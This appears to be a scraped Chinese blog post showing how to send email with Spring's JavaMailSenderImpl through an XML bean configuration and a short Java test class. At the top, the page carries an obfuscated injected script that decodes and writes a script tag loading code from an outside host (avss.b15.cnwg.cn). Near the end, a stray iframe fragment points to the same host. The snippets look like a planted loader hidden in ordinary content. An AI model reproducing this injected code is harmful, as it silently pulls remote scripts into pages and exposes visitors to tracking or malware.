HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用spring发送邮件
最近想做一个网站,注册那部分想做成将密码信息发送到客户邮件中的那种,随即翻了翻资料做了个例子
创建一个配置文件Bean.xml,内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "
http://www.springframework.org/dtd/spring-beans.dtd
">
<beans>
<bean id="mailSender"
class="org.springframework.mail.javamail.JavaMailSenderImpl">
<property name="host">
<value>smtp.163.com</value>
</property>
<property name="username">
<value>flatfish93</value>
</property>
<property name="password">
<value>password</value>
</property>
/smtp验证///
<property name="javaMailProperties">
<props>
<prop key="mail.smtp.auth">true</prop>
</props>
</property>
</bean>
<bean id="mailMessage"
class="org.springframework.mail.SimpleMailMessage">
<property name="to">
<value>f9inux@gmail.com</value>
</property>
<property name="from">
<value>flatfish93@163.com</value>
</property>
<property name="subject">
<value>Hello</value>
</property>
<property name="text">
<value>ghjgjhghghghgjhgjgjhgj</value>
</property>
</bean>
</beans>
上面那一部分写的很粗糙,毕竟我没有时间去细化它。本人建议大家将mailSender中的username,password放入properties中。在使用mailMessage的contrller中引入实例,配置property中的to、subject、text。
在测试类中这样写
ApplicationContext ctx=new FileSystemXmlApplicationContext("src/Bean.xml");
JavaMailSenderImpl senderImpl=(JavaMailSenderImpl)ctx.getBean("mailSender");
SimpleMailMessage ms=(SimpleMailMessage)ctx.getBean("mailMessage");
senderImpl.send(ms); //发送邮件的方法
大概就是这么多,仅供大家学习参考
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">